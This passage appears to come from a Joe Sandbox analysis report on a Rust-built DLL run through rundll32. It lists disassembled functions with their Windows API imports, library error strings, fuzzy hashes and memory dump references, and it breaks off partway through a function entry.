Opcode Fuzzy Hash: e927299a1009ffc4687d4fe61751048c7c282e49961e304d0583ddc6afa39f35
Instruction Fuzzy Hash: E75150B2A04345ABE725CB54D881FEBF7A8FB84304F04852DE55987780F735E918CB92

Function 6CBAD676 Relevance: 16.9, APIs: 10, Strings: 1, Instructions: 362COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBADE84
memmove.VCRUNTIME140(?,?,00000220), ref: 6CBADE9D
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBADF0C
memmove.VCRUNTIME140(?,?,000000C8), ref: 6CBADF21
memmove.VCRUNTIME140(?,?,00000168), ref: 6CBADF6D
memmove.VCRUNTIME140(?,?,00000154), ref: 6CBAEA27

Strings

HTTP/1.1 200HTTP/1.0 200HTTP/1.1 407unsuccessful tunnelproxy authentication requiredproxy headers too long for tunnel, xrefs: 6CBAEBB6

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: HTTP/1.1 200HTTP/1.0 200HTTP/1.1 407unsuccessful tunnelproxy authentication requiredproxy headers too long for tunnel
API String ID: 2162964266-2977587669
Opcode ID: 0ed372f5a41f1bcd5742da32c5fb1aec4167dc30ed577e4cbfd2e3e2353e10f8
Instruction ID: 56dfd39411579a47148686652c7f18fa60b53ee77d24e34c65bc8f6d94a0a13e
Opcode Fuzzy Hash: 0ed372f5a41f1bcd5742da32c5fb1aec4167dc30ed577e4cbfd2e3e2353e10f8
Instruction Fuzzy Hash: 05F1CB74608781AFD715CF64C898ADEB7E1FF84308F04856DE89D4B391DB31A95ACB82

Function 6CB95B31 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 214COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB95C18
GetFinalPathNameByHandleW.KERNEL32(?,?,00000000,00000000), ref: 6CB95C25
GetLastError.KERNEL32 ref: 6CB95C31
GetLastError.KERNEL32 ref: 6CB95C42

Part of subcall function 6CB65AD0: RtlFreeHeap.NTDLL(00000000,?,6CBE7E44), ref: 6CB65AE1

Strings

Filepathfatal runtime error: I/O error: operation failed to complete synchronously, xrefs: 6CB95B6B
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CB95D90
handlepanicked at :std\src\path.rs, xrefs: 6CB95B7C

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLast$FinalFreeHandleHeapNamePath
String ID: Filepathfatal runtime error: I/O error: operation failed to complete synchronously$handlepanicked at :std\src\path.rs$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs
API String ID: 620083245-143123693
Opcode ID: 741dfdd965fd118f74367b49e3eb1cc87f19db02c16963e03c472ec4f8781387
Instruction ID: bbf5c36d5b5678060926bb6cd3877ae5e09500e4492738d48d390998f60cb445
Opcode Fuzzy Hash: 741dfdd965fd118f74367b49e3eb1cc87f19db02c16963e03c472ec4f8781387
Instruction Fuzzy Hash: BD813575E012588FDB10CF94D884BEDBBB0FF49328F248169E804BB791D7749889CB69

Function 6CBEFDD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 145COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 6CBEFE15
QueryPerformanceFrequency.KERNEL32 ref: 6CBEFE5C
__aulldiv.LIBCMT ref: 6CBEFE97
__aulldiv.LIBCMT ref: 6CBEFEF2
__aulldiv.LIBCMT ref: 6CBEFF07
GetLastError.KERNEL32 ref: 6CBEFF26
GetLastError.KERNEL32 ref: 6CBEFF5E

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CBEFF3F, 6CBEFF77

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: __aulldiv$ErrorLastPerformanceQuery$CounterFrequency
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 10619572-2333694755
Opcode ID: ed6c998ab337222b0943c2fd034c67ce8c3e7059df546ee3278538acae9109fd
Instruction ID: 7d3906e9fb220f9e47e2c408fcd3883aab9f8f864dbb96a91599d48b07d79fea
Opcode Fuzzy Hash: ed6c998ab337222b0943c2fd034c67ce8c3e7059df546ee3278538acae9109fd
Instruction Fuzzy Hash: FD5178B1600B408FC724CF29D944B12FBF9EB88744F108A2EE09A97F50E775F4098B91

Function 6CC01105 Relevance: 13.6, APIs: 9, Instructions: 135COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6CC0114C
___scrt_uninitialize_crt.LIBCMT ref: 6CC01166

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: c467e7bad3d6d2a3ff5e244e89fec0cf125cb83b4550b6ee2c5edac6341e6361
Instruction ID: d76b54626f6760f7743c4ee41c0ecac13d60933dfaf6dbdbf4115b326c420921
Opcode Fuzzy Hash: c467e7bad3d6d2a3ff5e244e89fec0cf125cb83b4550b6ee2c5edac6341e6361
Instruction Fuzzy Hash: 1441E572F05219AFDB118F9EC840BEEB6B4EB4575CF114119E810E7B40F732C9058B90

Function 6CBAD848 Relevance: 10.8, APIs: 6, Strings: 1, Instructions: 300COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBAF274
memmove.VCRUNTIME140(?,?,00000220), ref: 6CBAF28B
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBAF2F6
memmove.VCRUNTIME140(?,?,000000C8), ref: 6CBAF30D
memmove.VCRUNTIME140(?,?,00000168), ref: 6CBAF35A

Strings

HTTP/1.1 200HTTP/1.0 200HTTP/1.1 407unsuccessful tunnelproxy authentication requiredproxy headers too long for tunnel, xrefs: 6CBAEBB6

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: HTTP/1.1 200HTTP/1.0 200HTTP/1.1 407unsuccessful tunnelproxy authentication requiredproxy headers too long for tunnel
API String ID: 2162964266-2977587669
Opcode ID: ec103d8a88c589b4a601676fb1d27158e245255a282b4429800b7ef9513cde1a
Instruction ID: 26013e00e800645e5ef210f995ccae2a0af1bd55907fb981ab203560f4fc0054
Opcode Fuzzy Hash: ec103d8a88c589b4a601676fb1d27158e245255a282b4429800b7ef9513cde1a
Instruction Fuzzy Hash: E0D1F130608785AFD715CF28C498BDEB7E1FF44308F148569E89D4B7A1D731A95ACB82

Function 6CBED120 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CBED277
GetEnvironmentVariableW.KERNEL32(?,00000002,00000000), ref: 6CBED282
GetLastError.KERNEL32 ref: 6CBED28E
GetLastError.KERNEL32 ref: 6CBED29F

Strings

internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBED3D4

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs
API String ID: 2691138088-2861346101
Opcode ID: 4a2caafc9d201149c61649f493203bbf787d842efc84bc30d9f196d3446bafcf
Instruction ID: 1cb8f12a5d3fc52116916cc3e785125d3c824af3b0927c2bce1af52d2b909492
Opcode Fuzzy Hash: 4a2caafc9d201149c61649f493203bbf787d842efc84bc30d9f196d3446bafcf
Instruction Fuzzy Hash: 2991A3B4E002988FDB10CFA4E8847DEBBB1FF88758F244119D81577B41D7B59989CB92

Function 6CBC30C3 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 157COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000388), ref: 6CBC3189

Part of subcall function 6CBC3AA8: SwitchToThread.KERNEL32(74DE7CC0,?,00000000,6CBC3C97,?,6CBC882F,?,?,?,?,6CBC8E73), ref: 6CBC3AC9

memmove.VCRUNTIME140(?,?,00000388), ref: 6CBC323C
memmove.VCRUNTIME140(?,?,00000388), ref: 6CBC324A

Strings

internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBC3278
polling StreamFuture twiceD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-util-0.3.31\src\stream\stream\into_future.rs, xrefs: 6CBC329C
Map must not be polled after it returned `Poll::Ready`, xrefs: 6CBC328A
cannot poll Select twice, xrefs: 6CBC3266

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$SwitchThread
String ID: Map must not be polled after it returned `Poll::Ready`$cannot poll Select twice$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs$polling StreamFuture twiceD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-util-0.3.31\src\stream\stream\into_future.rs
API String ID: 591106811-2960990579
Opcode ID: 93c4d035fe2322ad76236ff475a16e1dfdfd3e88361a2af84b18f8ba52146b4f
Instruction ID: 2168c442c6feda2eec11a733fc06b18035a44cc4f93a0e8bca7b4eb1c758dadf
Opcode Fuzzy Hash: 93c4d035fe2322ad76236ff475a16e1dfdfd3e88361a2af84b18f8ba52146b4f
Instruction Fuzzy Hash: BF51C0717013419BDB05CF24C8917EAF7A5FF86308F908569E0598FB80EB719969CB82

Function 6CC011B3 Relevance: 10.6, APIs: 7, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6CC011F0
dllmain_crt_dispatch.LIBCMT ref: 6CC01207
_DllMain@12.MSVCRT ref: 6CC0121E
_DllMain@12.MSVCRT ref: 6CC01236
dllmain_raw.LIBCMT ref: 6CC0124F
dllmain_crt_dispatch.LIBCMT ref: 6CC01262
dllmain_raw.LIBCMT ref: 6CC01275

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: dllmain_raw$Main@12dllmain_crt_dispatch
String ID:
API String ID: 3353612457-0
Opcode ID: 8dc05e6614f98512dfa22c72465c8b63cc36a60d38746923f71ca1a066b2f12d
Instruction ID: cc59d30f767c0e073f5d36e6c828af42583e3d047c295d7944a7903234936a66
Opcode Fuzzy Hash: 8dc05e6614f98512dfa22c72465c8b63cc36a60d38746923f71ca1a066b2f12d
Instruction Fuzzy Hash: CF217471F01655AFDB118F5EC840AAFBAB9EB85B9CB024115FC1497A10F332CD458B90

Function 6CBB960D Relevance: 10.3, APIs: 8, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: CertCertificateContextDuplicatememmove
String ID:
API String ID: 280200442-0
Opcode ID: f4fba62b76b96489d047b88ad25ba593b115282b969d76c1a5b03e729277f8a8
Instruction ID: 4db80e3bd9c40497fbe602836692270c055e2584f10361df35e54a0cbdc7d53e
Opcode Fuzzy Hash: f4fba62b76b96489d047b88ad25ba593b115282b969d76c1a5b03e729277f8a8
Instruction Fuzzy Hash: DFF16C70908B859FC761CF24C4817DBB7F5BF9A344F108A2EE88D5B641EB70A589CB52

Function 6CBBA440 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 198COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,0000010C), ref: 6CBBA494
memmove.VCRUNTIME140(?,?,0000010C), ref: 6CBBA4BC
memmove.VCRUNTIME140(?,?,0000002B), ref: 6CBBA604

Strings

HTTP/2 connection in progressD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\hyper-0.14.32\src\common\lazy.rs, xrefs: 6CBBA4F3
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBBA6BF

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: HTTP/2 connection in progressD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\hyper-0.14.32\src\common\lazy.rs$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs
API String ID: 2162964266-2665790016
Opcode ID: df159ad5a2878a5618700bfb5786101299140cc0cde6f3b793837c05079cccc5
Instruction ID: 965d99f1bbcda04b4feac1d48de25844c6fce7c99c5bc6d51922859cd5f2649c
Opcode Fuzzy Hash: df159ad5a2878a5618700bfb5786101299140cc0cde6f3b793837c05079cccc5
Instruction Fuzzy Hash: 4071B0329087819BCB11CF24C480A9FB7E5EF85314F04896EE899AF681DB709549CB92

Function 6CBEF560 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 300COMMON

Download Yara Rule

APIs

freeaddrinfo.WS2_32 ref: 6CBEF5CA
freeaddrinfo.WS2_32(?), ref: 6CBEF87A
freeaddrinfo.WS2_32 ref: 6CBEF96A

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 6CBEF8F1, 6CBEF939
assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs, xrefs: 6CBEF8D1, 6CBEF915

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: freeaddrinfo
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs
API String ID: 2731292433-3544120690
Opcode ID: 09f346884294e5093a8c1097546762ce53845c80f570f3aafd0e3d9a51f76bfc
Instruction ID: 06da376e7e86b2f5a9398626aa3a798b1e08c40ffb69203c8f1943e0a15d5dc8
Opcode Fuzzy Hash: 09f346884294e5093a8c1097546762ce53845c80f570f3aafd0e3d9a51f76bfc
Instruction Fuzzy Hash: 64D1B9B0D00258CFCB08CF89E490AADBBB1FF88314F25816ED819AB792D7719945CF95

Function 6CBD6A57 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98encryptionCOMMON

Download Yara Rule

APIs

CertFreeCertificateContext.CRYPT32 ref: 6CBD6AFE
CertFreeCertificateContext.CRYPT32 ref: 6CBD6B20
CertFreeCertificateChain.CRYPT32(?), ref: 6CBD6B32

Strings

unable to find any user-specified roots in the final cert chain, xrefs: 6CBD6B60

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: CertCertificateFree$Context$Chain
String ID: unable to find any user-specified roots in the final cert chain
API String ID: 1586265559-2994100780
Opcode ID: 9bb7f9fea8134581cd093768ab6af6a45f24236123f9d771e450a7d48bba6d6c
Instruction ID: 36a90ae8d4f483582f148f89cf30b180735b4530691a1deecfef256eb130294d
Opcode Fuzzy Hash: 9bb7f9fea8134581cd093768ab6af6a45f24236123f9d771e450a7d48bba6d6c
Instruction Fuzzy Hash: F431AE316083819BC304DF24C981A5EB7F1EFC9718F15892DE9899B751CB32EC86CB52

Function 6CBECE40 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 238stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 6CBECF10
memcmp.VCRUNTIME140(?,?,?), ref: 6CBECFD9

Strings

TryFromIntErrorOS can't spawn worker thread: , xrefs: 6CBED0DA
called `Result::unwrap()` on an `Err` value, xrefs: 6CBED096

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: lstrlenmemcmp
String ID: TryFromIntErrorOS can't spawn worker thread: $called `Result::unwrap()` on an `Err` value
API String ID: 1799893992-1221440643
Opcode ID: 937c43ed6a87a32964ebf78faa0ee4e5cedcf3b82921c7d768005be603f34725
Instruction ID: 23c62d9693fd14a7b2ad5d4cacaf364250e1751e5f2aaed3ca4f37880f046379
Opcode Fuzzy Hash: 937c43ed6a87a32964ebf78faa0ee4e5cedcf3b82921c7d768005be603f34725
Instruction Fuzzy Hash: FF81E571A002498FCF10DF59C850AEEBBB6FF88758F248629E815A7B51E731A845CBD1

Function 6CC050A0 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(6CC620B0,?,?,6CBF24C8), ref: 6CC050C7
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(6CC620B8,?,?,6CBF24C8), ref: 6CC050FD
WakeByAddressAll.API-MS-WIN-CORE-SYNCH-L1-2-0(6CC620B4,?,?,6CBF24C8), ref: 6CC05113
WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(6CC620B4,?,00000004,000000FF), ref: 6CC051CB
GetLastError.KERNEL32(?,?,00000004,000000FF), ref: 6CC051D2

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Address$Wake$Single$ErrorLastWait
String ID:
API String ID: 798958160-0
Opcode ID: c81e9718e6425da3e1f524293f3f3c39731f9efd36d1a6f2e3f034789b75d4cf
Instruction ID: 657c6b4ff979f76de61560b78b8eb9cfe47ba94a2be67a9ec43d1d3a8d063d8f
Opcode Fuzzy Hash: c81e9718e6425da3e1f524293f3f3c39731f9efd36d1a6f2e3f034789b75d4cf
Instruction Fuzzy Hash: 9331C8303052054BD7154A269854B5A32B5AF8737CF38876DE936DBAD2FA338843879D

Function 6CBE6F4B Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,?,?), ref: 6CBE6FF3
memmove.VCRUNTIME140(-0000000A,?,00000000), ref: 6CBE7068
InitializeSecurityContextW.SECUR32(?,00000000,?,0009819C,00000000,00000000,?,00000000,00000000,?,?,00000000), ref: 6CBE71EE

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CBE70A7

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$ContextInitializeSecurity
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1120248335-2333694755
Opcode ID: 98d8daa27834d5ad23e563b0fee4ba44e9358e93c7093e8e0b6dcfe57c492f4d
Instruction ID: 2459aef19e99febe649d4acca8b81c431c659adb253d6e17fce8c70464f78bb3
Opcode Fuzzy Hash: 98d8daa27834d5ad23e563b0fee4ba44e9358e93c7093e8e0b6dcfe57c492f4d
Instruction Fuzzy Hash: 0B91BCB16083419FD300CF15C880B5BFBE9EF88758F14892DE5988B792DB71E849CB92

Function 6CBEA690 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(00000001,000000FF,00000001,FFFFFFFF), ref: 6CBEA870
GetLastError.KERNEL32 ref: 6CBEA87B

Strings

NulErrorUtf8Errorvalid_up_toerror_len, xrefs: 6CBEA8EE
use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs, xrefs: 6CBEA8A8

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressErrorLastWait
String ID: NulErrorUtf8Errorvalid_up_toerror_len$use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs
API String ID: 1574541344-1776713852
Opcode ID: b9e1b548ea623f6539e558bca43778b1789f5edc816050aaf4a48a2d62c10422
Instruction ID: 3bbb2a51cc7811127a6407de82d62284f051488951705d8b09cd99edf432ee4d
Opcode Fuzzy Hash: b9e1b548ea623f6539e558bca43778b1789f5edc816050aaf4a48a2d62c10422
Instruction Fuzzy Hash: 66611471E002488FDB14CFA9C845BEEBBF9EF48764F14416AD808A7B81D735A946CF91

Function 6CBEA6F0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(00000001,000000FF,00000001,FFFFFFFF), ref: 6CBEA870
GetLastError.KERNEL32 ref: 6CBEA87B

Strings

NulErrorUtf8Errorvalid_up_toerror_len, xrefs: 6CBEA8EE
use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs, xrefs: 6CBEA8A8

Memory Dump Source

